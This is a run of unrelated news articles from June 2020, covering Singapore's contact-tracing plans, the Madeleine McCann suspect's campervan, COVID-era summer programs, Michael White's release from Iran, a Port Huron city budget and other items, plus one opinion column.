ALSO READ: Coronavirus impact: Air passenger traffic to decline by 45-50% during FY21, says ICRA
Maison de PB store at Changi Airports International in Singapore / Courtesy of SPC Group



By Kim Jae-heun



SPC Group Chairman Hur Young-in
Latest EIT Digital report provides a scenario-based framework for the development of digital infrastructure and data policy instruments to strengthen European Digital sovereignty.

Recent discussions around access to 5G technology and COVID-19 contact tracing apps highlight the need for European digital sovereignty. In its latest policy perspective report on 'European Digital Infrastructure- and Data Sovereignty', EIT Digital offers a concrete scenario-based framework for digital policy development. The study provides an overview of policy motivations, trends, instruments, and the roles of various actors in defining the perception of and perspectives for Europe's digital sovereignty.

"What becomes clear is that we need coordinated action between the policy shapers at European and national levels and the makers from business and industry to create a sovereign European digital reality. Key are policies that enhance innovation and respect European values and rights while creating equal economic opportunity for all actors," says EIT Digital CEO Willem Jonker.

EIT Digital collaborated with the Digital Enlightenment Forum to execute the report. The study supports the development of policies that aim at strengthening European sovereignty in digital infrastructures and the handling of data. Digital infrastructure control and data regulation are complementary and can be combined in various ways leading to different scenarios.

The report presents regulators with a framework of policy choices, based on four scenarios that combine approaches from soft to firm infrastructure control with weak to strong data protection. These scenarios are assessed with respect to their impact on the policy objectives growth, fairness, innovation potential, citizens trust, and level playing field

The impact assessment serves as a high-level guidance for concrete policy development, and as such provides an important tool for the development of digital infrastructure and data policy instruments from a European Digital sovereignty perspective.

www.eitdigital.eu

View source version on businesswire.com: https://www.businesswire.com/news/home/20200604005697/en/

Contacts:

For further information or to arrange an interview with

EIT Digital CEO Willem Jonker,

please contact Peter Strempel

T: +46 733 547228

E: peter.strempel@eitdigital.eu
Government Technology Agency (GovTech) staff demonstrate Singapore's contact-tracing smartphone app called TraceTogether. (Photo by CATHERINE LAI/AFP via Getty Images)

SINGAPORE  The government is exploring the use of wearable devices for contact tracing and may roll them out soon to everyone in Singapore.

Speaking in Parliament on Friday (5 June), Dr Vivian Balakrishnan, Minister-in-Charge of the Smart Nation Initiative and Minister for Foreign Affairs, did not specify if the devices will have similar features as the TraceTogether app.

But Dr Balakrishnan said the wearable devices will achieve the same objective as TraceTogether. If this portable device works, we may then distribute it to everyone in Singapore. I believe this will be more inclusive, and it will ensure that all of us will be protected.

He was responding to a query by Sembawang GRC Member of Parliament (MP) Vikram Nair who had asked if the downloading and activation of the TraceTogether app should be made mandatory for everyone in Singapore who possesses a mobile phone.

Dr Balakrishnan said that the government has not reached a satisfactory solution on the use of the app with Apple, the maker of the popular iPhones.

The app does not appear to work as well on iOS or Apple devices as the iOS operating system suspends Bluetooth scanning when the app is running in the background. Weve had repeated discussions both at the technical and policy level with Apple, but we have not yet been able to find a satisfactory solution, Dr Balakrishnan said.

Because TraceTogether doesnt work equally well across all smartphones, we have decided therefore at this time not to mandate the compulsory use of TraceTogether.

A total of 1.5 million users have voluntarily downloaded the TraceTogether app on their smartphones.

Confidentiality of TraceTogether data

In response to a question by MP Gan Thiam Poh of Ang Mo Kio GRC, Dr Balakrishnan said the government currently does not have the breakdown of downloads by gender or age as such data is not currently collected.

Dr Balakrishnan also reiterated in Parliament his written reply, issued on Thursday, to MP Murali Pillais (Bukit Batok SMC) question on the steps taken by the government to ensure that personal data of persons collated through apps such as TraceTogether will be protected.

Story continues

The data is stored only on your own phone in the first instance, and accessed by MOH (Ministry of Health) only if the individual tests positive for COVID-19. This data is only used for contact tracing. There are safeguards, including encryption, in place to protect this from malicious hackers.

The data that is older than 25 days will be automatically deleted from your phone. If the close contact data is required for contact tracing, only a small group of authorised officers in MOH will have access to it. All the public sector data protection rules will also apply.

Dr Balakrishan emphasised that quick and accurate contact tracing is necessary. This, he said, is more essential now that Singapore is progressively moving out of the circuit breaker.

If you think about it, if everyone is at home, the need for contact trading is minimal. Now that we have more people moving about, going to work, there will be more occasions where more people will have more close interactions with each other. Therefore...contact tracing becomes more essential.

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A campervan used by the new prime suspect in the Madeleine McCann case was seized from a scrapyard run by another German, it was revealed today.

Christian Breuckner sold the Volkswagen van for 5,000 in 2015 to a German compatriot who ran an unofficial yard in the Silves area of the Algarve.

The 43-year-old German paedophile was also reported to have been living in Silves when he disposed of the T3 Westfalia campervan.

Christian Breuckner sold the Volkswagen van for 5,000 in 2015 to a German compatriot who ran an unofficial scrapyard in the Silves area of the Algarve, which is pictured today

The campervan used by Breuckner was seized from the scrapyard run by another German

It is the first time Breuckner has been linked with another town other than Praia da Luz where Madeleine disappeared from 13 years ago on May 3, 2007.

The van is being kept in a secret location and the name of the German has not been released. It is also not known how police discovered the location of the vehicle.

Despite the discovery of the van, a forensic examination is not thought to have produced any link to Madeleine's disappearance.

It is not yet known how the van got from the scrapyard and into the possession of the police.

Christian Brueckner (left), 43, is now the prime suspect in the disappearance of Madeleine McCann (right), who vanished from her family's holiday apartment in Portugal on May 3, 2007

The yard is pictured today as the investigation continues into Madeleine's disappearance

The discovery in Silves was reported by Portuguese TV station SIC. The Silves area is around an hour from Praia da Luz inland from the popular tourist resort of Albufeira.

There is no suggestion the German who bought Breuckner's camper van is in any way involved in disapperance of Madeleine.

The van, with a white upper body and a yellow skirting and a Portuguese registration plate, is one of two vehicles police have flagged up in an appeal this week.

The other is a Jaguar model XJR 6, with a German number plate and registered in Germany.

It is not yet known how police discovered the location of the vehicle at the yard in Silves

The scrapyard in Silves is pictured today following the revelation over the campervan

Detectives say it is significant that the day after Madeleine's disappearance, Breuckner re-registered the car in someone else's name back in Augsburg, Germany, even though the vehicle had never left Portugal.

Former neighbours of Breuckner said he often slept in the van rather than return to one of two rented properties.

German prosecutors believe Madeleine is dead after she vanished from a resort while on holiday with her family, and are investigating Brueckner for her murder.

Scotland Yard's Operation Grange still considers the case a missing person inquiry because there is no 'definitive evidence whether Madeleine is alive or dead'.

The Volkswagen T3 Westfalia campervan is pictured after it was seized by police in Portugal

This photograph was released by police following their investigation into the campervan

Breuckner allegedly confessed to his part in Madeleine's disappearance to a friend as they watched a TV news report on the 10th anniversary of her disappearance.

The suspect is reportedly serving a seven-year prison sentence in the German port city of Kiel for the rape of a 72-year-old American woman in Portugal in 2005 after he was convicted of rape at Braunschweig District Court in December last year.

Der Spiegel reported his criminal record contains a total of 17 entries, including a conviction for the sexual abuse of a child in 1994 when he was aged 17, and a 2016 conviction for abusing another child and possession of child pornography.

The details emerged after authorities revealed a new suspect had been identified in Madeleine's disappearance as a fresh appeal was launched on Wednesday night.

Brueckner had lived in this remote property overlooking Praia da Luz from 1999 to 2006

Madeleine's doctor parents Kate and Gerry McCann welcomed the latest appeal in a statement saying: 'We will never give up hope of finding Madeleine alive.'

Breuckner lived in the Algarve between 1995 and 2007, where he funded his lifestyle by committing crimes, including breaking into hotel complexes and holiday flats.

His Portuguese mobile phone was in Praia da Luz when it received a half-hour phone call around an hour before Madeleine was last seen.

Christian Hoppe, from Germany's Federal Criminal Police Office, has said German police have not ruled out a sexual motive for the alleged crime against Madeleine.

The son of the German scrap dealer who bought a VW camper van from the McCann suspect told how police turned up last year to take it away for forensic examination.

He said Brueckner would occasionally leave the van at their premises but in 2015 sold it to his father for 4,500.

Last year Portuguese police seized the vehicle.

The son, who did not want to be named, said: 'Christian sold my dad the van around 2015 and we used it afterwards as our family vehicle.

'It was a little rusty but had a good engine.

'It was here till the police arrived one day. They took it away but didn't say why. I found out about the Madeleine McCann connection through the papers.'

The 30-year-old, who lives at the property a short drive from the Algarve town of Silves, added: 'We didn't know Christian well. He just used to leave the van here from time to time because he knew we were always around and it was going to be safe with us. He never came here and started talking about his life or anything like that.

'But I'd never associate him with some of the things they're saying about him. He just seemed like a normal guy.

'There was nothing he left in the van that ever gave us any cause for suspicion.'

The VW T3 Westfalia camper van, with a white upper body and a yellow skirting and a Portuguese registration plate, is one of two vehicles police have flagged up in an appeal this week.
For many students, the coronavirus pandemic drained much of the joy from the last months of the 2019-20 academic year.

Summer shouldnt end up the same way, say organizers of programs devoted to offering enrichment during out-of-school time.

In a typical year, local school districts and community partners offer summer enrichment activities that allow children to maintain their academic progress while gaining work experience or diving deep into interest areas they might not typically have a chance to explore in depth. Often, those deep dives involve collaborative, hands-on group work.

This year, however, many organizations devoted to summer learning will have to figure out how to engage students in enrichment programs provided remotelyif theyre offering them at all.

And at the same time, summer programs and community groups are facing severe budget cuts, as funders start to reckon with the economic impact of the coronavirus.

But drastically scaling back or cutting summer enrichment is likely to hurt the students whose learning has already been set back the most by the haphazard shift to remote schooling: students from low-income families who rely on free or low-cost enrichment options, said Aaron Dworkin, the chief executive officer of the National Summer Learning Association.

I would argue that this is a time to be hyper-creative and hyper-collaborative, said Dworkin, whose organization believes that investing in summer learning is key to closing the achievement gap. One district and one entity cannot do everything by itself. What other resources do we have in our community that we can tap into?

Keeping Woo Hoo Spirit

Robin Berlinsky, the executive director of the Charleston, S.C.-based Engaging Creative Minds , is among the organizations forging new partnerships in order to keep what she called the woo hoo spirit in its summer program.

Normally, the organization would host an in-person STEAM Institute that combines the arts with lessons in science, technology, engineering, and math.

This year, the program will be mostly remote. But summer is still summer, Berlinsky said. It should be a time for more explorationhaving so much fun you dont know youre learning.

The program has brought in new partners; for example, the organization has enlisted the help of a local antique car club to have a parade through town as a way to engage students in history. And for at least the first few weeks, the program is doing away with the need for children to have a computer to participate.

What were trying to say is, its OK, lets get back to the basics, Berlinsky said. Kids will become motivated simply by being curious about something.

Once a week, they hope to bring children together in person in small groups in an outdoor setting, to report on what theyve done over the past few days and to get a renewed infusion of fun and purpose. To accommodate social distancing, Berlinsky said the outdoor gatherings, as well as the summer meal sites, will have appropriately spaced chalk circles that each child can stand in during the check-ins.

The program is building in the ability to respond to changes, depending on directives from health or educational officials.

We like to say we can turn it on a dime, Berlinsky said. The way we start, Im pretty sure, will not be the way we finish.

Pop-Up Play and YouTube

Young Audiences of Maryland , a Baltimore-based organization that also focuses on arts-integrated learning, is planning an expansive set of activities to reach children, including art kits that allow children hands-on opportunities, and Arts and Learning Kids, a television show broadcast available through local public access TV and YouTube.

The organization also plans to host pop-up playin-person, small-group, supervised play sessionsin local green spaces and parks, said Stacie Sanders, the organizations chief executive officer.

One open question is if the children will participate in this hybrid model. To encourage connection, Young Audiences is thinking of creative challenges and healthy competitions to spur continued involvement, Sanders said.

One thing that is important for the organization and similar groups is setting realistic expectations about how much we can and should expect kids to engage on their screen in the summer, Sanders said. Were really trying to be mindful of that, and just putting care for our students and their emotional and mental health as the top priority.

Some school districts are getting creative as well. Cajon Valley Union School District in San Diego County, Calif., opened its doors for a free, in-person child-care program for essential workers in the community. Its not something the 16,000-student district has ever done before, but parents who must work full time outside of the home said they needed that support, said Superintendent David Miyashiro.

Using what it has learned, the K-8 district plans to continue the program into the summer and expand it to more children. The safety of the kids and their emotional connectedness are the main goals; academic work will be more in the framework of challenges and fun, he said.

Among the protections offered in the district program: Children are asked about their health and have their temperatures taken daily. They sit at desks separated from their peers, and are each given their own materials to work with, including a laptop for enrichment programs. They eat meals outside and play games like shadow tag that allow appropriate distancing, Miyashiro said. The staff members are also given daily temperature checks, and wear masks and gloves.

The children who are currently in the program have adapted well to the safety rules so far, Miyashiro saidso much so that he sometimes visits the school hosting the child care program, just to see the children.

To hear the joy and laughter on our campus is just pure joy, Miyashiro said.

Pittsburghs Summer Dreamers Academy , now in its 11th year, will still go forward virtually, said Melanie Claxton, the districts coordinator of out-of-school learning. The program, along with those in four other urban school districts, was the focus of a study by the RAND Corporation on the effectiveness of summer learning that combines academic support and student-driven enrichment. The research found that the programs produced math gains for the rising 4th graders who participated, but flat results in reading and social-emotional development.

Summer Dreamers will now have math and reading instruction provided virtually and through instructional packets, with afternoons devoted to topics students want to explore. The system is planning how to distribute the materials students may need; city recreational centers may be one of the pick-up points, Claxton said.

In addition, the district has new programs underway: It is partnering with community organizations on a summer Learn and Earn program that lets older students engage in career exploration and on-the-job training. This year, the projects will be done virtually, but some students will still be able to earn a stipend of around $1,000. Another program will offer enrichment classes and SAT prep to older students.

These programs will hopefully help stem the COVID slide, said Pittsburgh Superintendent Anthony Hamlet. We wanted to put programs in place that were academically oriented and also make sure that theyre fun and have social-emotional learning embedded in that. Were excited well be able to expand, Hamlet said.

But there are many hurdles that summer learning and enrichment programs must overcomefrom abiding by changing health guidelines to simply having enough money to operate.

Enduring Budget Cuts

New York City, which was hit hard by the pandemic, is projecting a city budget shortfall of about $9 billion. Last month, the mayors office proposed an $89 billion budget that included eliminating its summer youth employment program, the nations largest, typically employing about 75,000 youth. It has also proposed cuts to city-funded programs run through community organizations. Even all city-run outdoor public pools and the citys 14 miles of beaches are likely to remain closed because of the budget crisis.

The community organizations slated to lose money are already providing essential services to children remotely, said Traci Donnelly, the chief executive officer of the Child Center of New York . Among the many services the center offers are after-school and summer youth development programs.

There are very difficult decisions to be made, Donnelly said. That being said, I think this is very shortsighted. We cant ignore that theres three months between now and [the start of next school year.] What we do in those months makes a difference to kids success come September.

Some of the organizations under her groups umbrella are already seeing city contracts that dont include funding for July and August. Donnelly is now advocating that her organization be given the flexibility to spread out 10 months of funding over 12 months, rather than just cutting off services abruptly for two months.

Trust the community-based organizations to do what weve always done, which is support the ultimate goal: overall access to extra support to make kids successful in school, Donnelly said.

Zoo New England, which oversees zoos in Boston and Stoneham, Mass., is now allowed to open to visitors, as are all zoos in the state. But we still dont have guidelines on camp yet, said Cynthia Mead, Zoo New Englands executive vice president of external affairs and programming. In recent years, Zoo New England has been the site of a 5th Quarter of Learning program for 4th and 5th graders in the Boston school system. The children blend academics along with learning about animals and the environment.

Program leaders are still working through options with other organizations that work with children. Is there a way to push out Zoo New England resources to groups they havent worked with before? Can they supplement instructional programs by inviting groups to the zoo for on-site enrichment? Those and other options are all under discussion, she said. We know how enriching these programs can be for the students, she said. We are committed to continuing to be open-minded about how we can run these programs.
A man died following a surf rescue Thursday evening at Ocean Beach in San Francisco, National Park Service officials said.

Park service rescue staff at Ocean Beach received a report at 7:15 p.m. of a swimmer in distress at Ocean Beach at Vicente Street, just north of the San Francisco Zoo.

Two swimmers were in the ocean and one was brought in by a surfer. A second swimmer, a 31-year-old man, was far out in rough surf. Rescue staff rescued the man but he went into cardiac arrest.

CPR was started and he was taken to San Francisco General Hospital where he was pronounced dead. His name will be released once his family is told.

Park service officials expressed their condolences to the loved ones of the man who died.

Copyright  2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
KHAO YAI, Thailand  For as long as the elephants could remember  and that is a long time  the path to the river snaked down the hillside through jungle so dense a troop of pachyderms could simply vanish.

But about three decades ago, humans decided they, too, wanted to get to the river, to gaze at the waterfalls that cascaded into the Khao Yai National Park in central Thailand. The humans paved over part of the elephants trail with cement. They built toilets and snack kiosks.

The elephants, though, still needed to reach the river. They hewed close to the old route, the one imprinted on generations of pachyderm brains, but not so close that the day-trippers, with their picnics of sticky rice and grilled pork, would see them.

It was a fatal diversion. The new trail passed a cliff and an area prone to flash floods. Elephant after elephant drowned. Last October, a baby elephant fell into the roiling waters. Others charged in to save the calf. All told, 11 elephants died.
Seven people were shot and killed in Alabama Friday in an overnight shooting, according to the Morgan County Sheriff's Office.

Six of the seven victims have been identified while officials are still working to identify the final person, according to officials.

Two of the victims were identified by police as Jeramy Wade Roberts, 31, of Athens, and William Zane Hodgin, 18, of Somerville. The other names have not been released.

PHOTO: Morgan County, Ala. investigators work at the scene, Friday, June 5, 2020, in Valhermoso Springs, Ala., where numerous people were found fatally shot. Deputies responding to a call about a shooting in Alabama found seven people dead inside a home. (Jeronimo Nisa/The Decatur Daily via AP)

Deputies responded to a call for gunshots at 11:23 p.m. Thursday night at a home in Valhermoso Springs, where police found multiple fatalities. Authorities said the victims were all adult men and women.

No other details have been released. Authorities did say there is no threat to the public and the scene was secure.

The Morgan County Sheriff and Madison County Sheriff Crime Scene Units were processing the scene, while the FBI Violent Crimes Taskforce was assisting.

PHOTO: A Morgan County, Ala. investigator works at the scene, Friday, June 5, 2020, in Valhermoso Springs, Ala., where numerous people were found fatally shot. (Jeronimo Nisa/The Decatur Daily via AP)

6 out of 7 victims identified in deadly Alabama shooting originally appeared on abcnews.go.com
F ormer Conservative leader Sir Iain Duncan Smith has labelled HSBCs support for Chinas national security law was a grave error and said, if he were a customer, he would close any accounts with the bank.

Sir Iain told the BBC: In my personal opinion, I think it is a grave error by HSBC, getting involved in what is essentially a very difficult problem.

He warned that the new law could remove the right to protest, giving police new powers to arrest those demonstrating on the mainland and the former British territory of Hong Kong.

Asked if he would advise people to shut their HSBC accounts, he added: It is up to individuals but, personally, if I was there I would.

I honestly think that the issue of freedom is more important than any business worry about a particular individual profit and loss at the bottom line.

I think the truth is, a world that does not recognise human rights, freedom and the rule of a law is a world that will imprison even those businesses which want to do business with China.
On May 29th, 2020, Global Affairs Canada (GAC) published its annual report on Canadas Military Exports, where it had mentioned that no military export permits were issued to Azerbaijan during 2019, the Armenian National Committee of Canada (ANCC) reported.

Since the sale of armored vehicles from private Canadian companies to the Republic of Azerbaijan in 2017, this is the second year in a row that Canada has not included Azerbaijan in the list of countries with whom it trades military goods. Following Turkeys Operation Peace Spring in Syria in October 2019, Canada also banned military exports to Ankara, which was renewed indefinitely in April 2020.

Following the publication of the report, on June 4th, 2020, the ANCC sent a letter to Canadas Foreign Affairs Minister, the Hon. Francois-Philippe Champagne, commending the governments decision and urging the minister to continue refraining from engaging in arms trade with both Turkey and Azerbaijan.

In the letter, ANCC Co-Presidents, Hrag Tarakdjian and Shahen Mirakian said Turkey and Azerbaijan pose a significant military threat within their immediate region and beyond. While Turkey continues to destabilize the Middle East and threaten the very existence of local minorities, Azerbaijan has significantly increased its military preparedness, constantly signaling a renewal of hostilities in the Republic of Artsakh, while threatening to attack the Republic of Armenia directly.

ANCCs co-presidents also shared their hope that based on Canadas arms export regulations and Ottawas accession to the Arms Trade Treaty, military export permits bound for Turkey and Azerbaijan will become subject to a more rigorous assessment process.

Canada simply cannot become complicit in the unspeakable war crimes and human rights abuses sanctioned and carried out by regressive dictatorships such as Turkey and Azerbaijan., mentioned the letter.

We will continue to monitor the trade of military goods between Canada, Turkey and Azerbaijan and ensure that our government always does the right thing. Concluded Tarakdjian and Mirakian.
Source: Xinhua| 2020-06-05 16:07:47|Editor: huaxia

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KABUL, June 5 (Xinhua) -- The Afghan National Police (ANP) arrested 10 drug traffickers and confiscated big amount of drugs following separate anti-drug operations on Thursday, the Ministry of Interior said Friday.

"Counter-Narcotics Police of Afghanistan (CNPA), which is part of ANP, arrested three people in Qalat city, capital of southern Zabul province. The arrestees had hidden around 10 tons of henbane inside a trailer truck and tried to transfer the drugs to neighboring Kandahar province," the ministry said in a statement.

In eastern Nangarhar province, five individuals who have placed 20 kg opium and 8.5 kg heroin in two vehicles were arrested in Bati Kot district and provincial capital Jalalabad city.

The smugglers planned to traffic the drugs to Kandahar, according to the ministry.

In eastern Panjshir province, the CNPA police conducted a special operation and arrested one person for transferring of 25 kg hashish to the national capital Kabul.

After initial investigations, the CNPA handed over the cases to the Counter Narcotics Justice Centre of Afghanistan (CNJC) that has a special court for jurisdiction of major drug cases, the statement added. Enditem
Values at the Heart of the Fight for Canada

Commentary

In Canada today, the voices of those who embrace the values that built the countryindividual freedom, private property, free enterprise, personal responsibility, faith, and familyare largely drowned out by those who favour the progressive tenets of egalitarianism, affirmative action, feminism, and victimization.

Questioning such creeds is discouragedyou are sure to be labelled a crank, or even worse a racist, bigot, or white supremacist. This tells us much about our conventional wisdom and the state of free speech.

In 1944 my late father, Clayton Bird, flew 34 raids as part of Bomber Commands 420 Squadron in England, and also served in Canadas peacetime air force until 1964. Many of his peers didnt return from wartime bombing runs, or even routine peacetime flights. I think he would cringe at the crippled state of free speech in Canada today, at the lack of real debate, and might even feel that we were failing his generation, so many of whom died fighting to overcome tyranny.

Yes, liberty is in retreat. It is passe. Today, we do things that 50 years ago would have raised eyebrows. We hire not the best-qualified people but those who check the affirmative-action boxes, as per government rules. We kill unborn children by the thousands in the name of womens rights, with hardly a qualm or second thought about the twisted morality and incredible loss of human potential. We discourage traditional family roles, sensible proven roles, to appease feminists, who are highly funded by the state. (Even in 1959 my mothers doctor recommended that I be aborted, given her age of 40, my weak condition, and that shed already given birth to four children, but she refused. Thanks again, mom!)

We are a society of largely one-parent homes and often unhappy situations which too often produce confused and dysfunctional children; we house seniors in care facilities instead of blending them into our families, where tasks, values, wisdom, and love were once shared. Employment insurance has long since replaced personal responsibility to look after oneself and ones friends in hard times. Abuses are rampant in public programs, adding to their bloated costs.

In short, we have shifted from a society of pre-Second World War self-reliant individuals who understood that it is our duty in a free and capitalist society to work, save, and deal with setbacks as best we canwith family, not government, as the foundationto a collection of malcontented interest groups, many identifying as victims. We tend to shirk responsibility (and spurn any faith in God and His values, which might have spared us grief in the first place) and play the blame game expertly, turning to Ottawa, a.k.a. the public teat, for help. That is the fact of the matter.

The old values and ways built one of the worlds success stories, a free and prosperous Canada that millions around the world admired and to which many came to make new lives. The new values are discouraging personal initiative, creating social cleavages (resentments among different groups of Canadians who do or do not receive rights or benefits), and adding billions of dollars yearly to the national debt, which is approaching an alarming $1 trillion.

For those who love Canada, this is a sad and unacceptable state of affairs.

Today we still revere the few remaining men of the greatest generation who fought and defeated fascism. We honour them every year on November 11 (and respect and thank the women who served in non-combat roles). Yet how many of us who succeeded them, who sprang from their loins, are fighting for the now-discredited values that moulded and motivated that generation: a love of freedom, a sense of duty, individual initiative, the work ethic, and sacrifice? Remember that they not only served in wartime but also endured 10 years of the Great Depression, when government help was minimal (and people wanted it that way). Many as children also survived the flu epidemic of 1918-19, which killed at least 25 million worldwide and about 55,000 Canadians.

Instead, most of us (myself included) sit idly by while successive federal governments, Liberal and Conservative, strengthen state power and promote egalitarianism (the notion that we are all equal, or should be) and discourage individualism and debateactions which characterized Nazism and that other defunct and discredited creed, communism. It is a painful irony, and a huge red flag, that the values we defeated in 1945 and with the fall of the Soviet Union in 1991 are now endangering us.

The good values can still prevail, and Canada can still be saved, but it will be a monumental task. Are we up to it? I honestly doubt it, given the wall of opposition we face and the countrys strong drift to the progressive left. But it would be fun to tryand good for Canada.

Brad Bird began his career by freelancing in the 1970s. He worked for the Winnipeg Free Press in the 1980s and various smaller papers since, as well as abroad in conflict zones and for a Conservative MP in the Harper government. birdbrad@hotmail.com

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
By Humeyra Pamuk and Mark Hosenball WASHINGTON (Reuters) - A U.S. Navy veteran detained in Iran since 2018 was freed on Thursday and was on his way back home, his family and President Donald Trump said, while an Iranian American physician will be allowed to visit Iran, his lawyer said.

By Humeyra Pamuk and Mark Hosenball

WASHINGTON (Reuters) - A U.S. Navy veteran detained in Iran since 2018 was freed on Thursday and was on his way back home, his family and President Donald Trump said, while an Iranian American physician will be allowed to visit Iran, his lawyer said.

Iran's move to free Michael White and the U.S. decision to let Majid Taheri visit Iran appeared a rare instance of U.S.-Iranian cooperation, and a White House spokesman said White's release may lead to an opening in the bitter relationship.

Iran's foreign minister confirmed both moves.

White had been released from an Iranian prison in mid-March on medical furlough but had been held in Iran under Swiss custody. Switzerland looks after U.S. interests with Tehran because the United States and Iran lack diplomatic relations.

"I am to happy announce that Navy Veteran, Michael White, who has been detained by Iran for 683 days, is on a Swiss plane that just left Iranian Airspace. We expect him to be home with his family in America very soon," Trump wrote on Twitter.

Separately, Taheri's lawyer said the Iranian-American physician will visit family in Iran and seek medical treatment before returning to the United States as part of a U.S.-Iranian agreement that included White's release.

A person familiar with the matter, speaking on condition of anonymity, said White's release followed several months of discussions with Iran.

U.S. Special envoy Brian Hook had flown to Zurich with a doctor to meet White, a U.S. official said. The State Department did not have comment on the issue, but Secretary of State Mike Pompeo is scheduled to give a news briefing later on Thursday during which he is expected to talk about White.

White's release is a rare bright spot in an otherwise deeply frayed relationship between the United States and Iran, which has grown more hostile since Trump took office in 2017.

Asked whether White's release could be an opening in terms of U.S.-Iranian relations, White House spokesman Hogan Gidley told Fox News Channel, "Hopefully so. The president has built incredible relationships with leaders across this globe."

U.S.-Iranian relations have been bitter since the Islamic Revolution toppled the U.S.-backed Shah of Iran in 1979 and ushered in an era of theocratic rule. Tensions flared after Trump pulled out of the 2015 Iran nuclear deal in 2018 and reimposed U.S. sanctions that have crippled the country's economy.

Ties worsened after a Jan. 3 U.S. drone strike in Iraq killed Qassem Soleimani, the head of Iran's elite Quds Force.

Both the United States and Iran have called for the release of prisoners due to the novel coronavirus outbreak. Iran is one of the worst-hit countries in the Middle East, while the United States has reported the highest number of deaths and infections in the world from the virus.

"My son, Michael, has been held hostage in Iran by the IRGC and I have been living a nightmare," his mother Joanne White said in a statement announcing his release. "I am blessed to announce that the nightmare is over," she said. IRGC is the acronym for Iran's powerful Islamic Revolutionary Guard Corps.

White's release came two days after the United States deported Sirous Asgari, an Iranian professor imprisoned in the United States despite being acquitted on charges of stealing trade secrets. Iranian media reported his arrival on Wednesday.

Both the U.S. State Department and Iranian officials have repeatedly denied that Asgari was part of a swap with White or anyone else, and said his case was separate.

Last December, Washington and Tehran worked on a prisoner exchange in which Iran freed U.S. citizen Xiyue Wang, who had been held for three years on spying charges, and the United States freed Iranian Massoud Soleimani, who faced charges of violating U.S. sanctions on Iran.

(Reporting by Humeyra Pamuk; Additional reporting by Matt Spetalnick, Jonathan Landay, Tim Ahmann, David Brunnstrom and Mark Hosenball; Writing by Humeyra Pamuk and Arshad Mohammed; Additional reporting by Parisa Hafezi; Editing by Jonathan Oatis and Bernadette Baum)

This story has not been edited by Firstpost staff and is generated by auto-feed.
China didn't cover up the COVID-19 pandemic and facts have proved it, said Zhong Nanshan, a respiratory professor at Guangzhou Medical University.

Zhong Nanshan (Photo/cctv.com)

Zhong made the remarks at a symposium chaired by Chinese President Xi Jinping on developing a strong public health system to safeguard people's health on June 2.

The professor quoted the results released by Wuhan, central China's Hubei province, of its citywide nucleic acid test on the same day. A total of 300 asymptomatic patients were found after 9,899,828 residents in the city were tested from May 14 to June 1, with no confirmed COVID-19 cases.

The results prove that China has been honest with its pandemic report, said Zhong, adding that the country has shared pandemic-related information in a timely, open and transparent manner.

After the pandemic broke out in Wuhan, the 84-year-old professor, as head of the high-level team of experts on epidemic prevention and control, set off to Wuhan and concluded with other professionals that the virus can be transmitted from one human being to another.

Under the suggestions of the experts, the Chinese government decided to lock down Wuhan and conduct large-scale prevention and control in the rest of China, which has later been proved effective, according to Zhong.

It is because of the early research, judgment and decisive action that China has reached temporary results in epidemic prevention and control, with the infection and mortality rate ranking the lowest in the world.

Zhong also noted that China has not only actively treated the disease, but has summarized the experience and therapies in a bid to help other countries and promote the development of the discipline, which Zhong believes is a great progress compared with how the country handled SARS 17 years ago.

According to the National Natural Science Foundation of China, by May 10, 650 articles about epidemic prevention out of all the 2,150 published on authoritative journals came from China, Zhong pointed out.
The Port Huron City Council has adopted a city budget of about $98.42 million for fiscal year 2020-2021, which features a balanced general fund of roughly $27.6 million, up $1.58 million from last year. The new fiscal year begins July 1.

The citys overall millage rate will be 19.9931 mills, which comprises 11.2132 mills for general operations, 2.9901 mills for police and fire, 0.9967 mills for parks and recreation, 2.8031 mills for the collection of refuse and 1.9900 mills for street improvements.

The general fund includes about $4.11 million for general government, just over $16 million for public safety, $1.75 million for public works, nearly $3.3 million for recreation, parks and culture, $1.32 million in public improvements, $482,825 in other functions and a $600,000 transfer to McMorran.

The budget includes about $13.6 million for special revenue funds, including the combined street funds at nearly $7.2 million, garbage and rubbish collection at $2.1 million, and nearly $1.9 million for the citys community development block grant fund, among others.

The budget includes roughly $36.3 million for the citys revenue generating enterprise funds  water, wastewater, parking, marina and McMorran.

Internal service fund, which includes the insurance and fringe benefit fund, is budgeted at about $18.43 million.

The tax increment funds, which include four brownfield redevelopment funds, are budgeted at about $2.48 million.

Discussing the COVID-19 pandemic, Mayor Pauline Repp said council would likely have to revisit the budget in the fall and make adjustments based on the status of the citys projections for income tax collection and state revenue sharing.

The council voted 4-2 at its regular meeting on May 26 to adopt the budget.

Council members Ken Harris and Scott Worden voted against the budget.

Repp, Mayor Pro Tem Sherry Archibald and council members Anita Ashford and Jeff Pemberton voted to adopt the budget. Council member Lisa Beedon was absent.

Harris objected to the 7.1% wage increase for city workers during the uncertain times of COVID-19. He also expressed concern about the ready-to-serve charge and Freeds salary.

Worden arrived late to the meeting and did not comment on the budget other than to vote against it.

The following day, Worden sent an email explaining that the citys contributions to municipal pensions were too small. He opposed the increases in the ready-to-serve charges for water and sewer service. He also opposed the city managers salary level.

Freed said he didnt want a salary increase and would not accept one. But Freeds main focus was defending the contract for city workers, which included a 5% wage increase and a 2.1 step increase.

The wage increases represent about $800,000 to the general fund, said Freed. The union contract has provided the city with $15 to $20 million in savings depending on what way we turn. To get that 5%, they had to give up their pension. They had to cap their overtime  which was thousands of dollars on an annual basis to our employees and they took healthcare concessions that were about $300,000.

The budget funds the labor agreement, which council unanimously endorsed last year. Not adopting the budget, he said, would amount to the city defaulting on the contract.

Freed said the $15-20 million was not simply savings.

Its $15 million to $20 million in sacrifices from the employees, Freed said. They didnt just get a 5% wage. They gave up a whole heck of a lot. Its probably one of the most aggressive concessions in any labor contract in the state of Michigan in the last year. No other group gave up that much in the state. People thought it was crazy. Our labor contracts are not a fair deal. They were heavily weighted to benefit the city of Port Huron and our residents.  Because of that we have a balanced budget today. Without their concessions, wed be in a financial emergency.

Jim Bloch is a freelance writer. Contact him at bloch.jim@gmail.com.
Source: Xinhua| 2020-06-05 19:43:12|Editor: huaxia

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MADRID, June 5 (Xinhua) -- The emblematic "Golden Mile" of Spanish art which brings together the Prado National Museum, the Reina Sofia Museum and the Thyssen-Bornemisza National Museum in the heart of Madrid, will reopen its doors to the public on Saturday after almost three months of enforced closure due to the COVID-19.

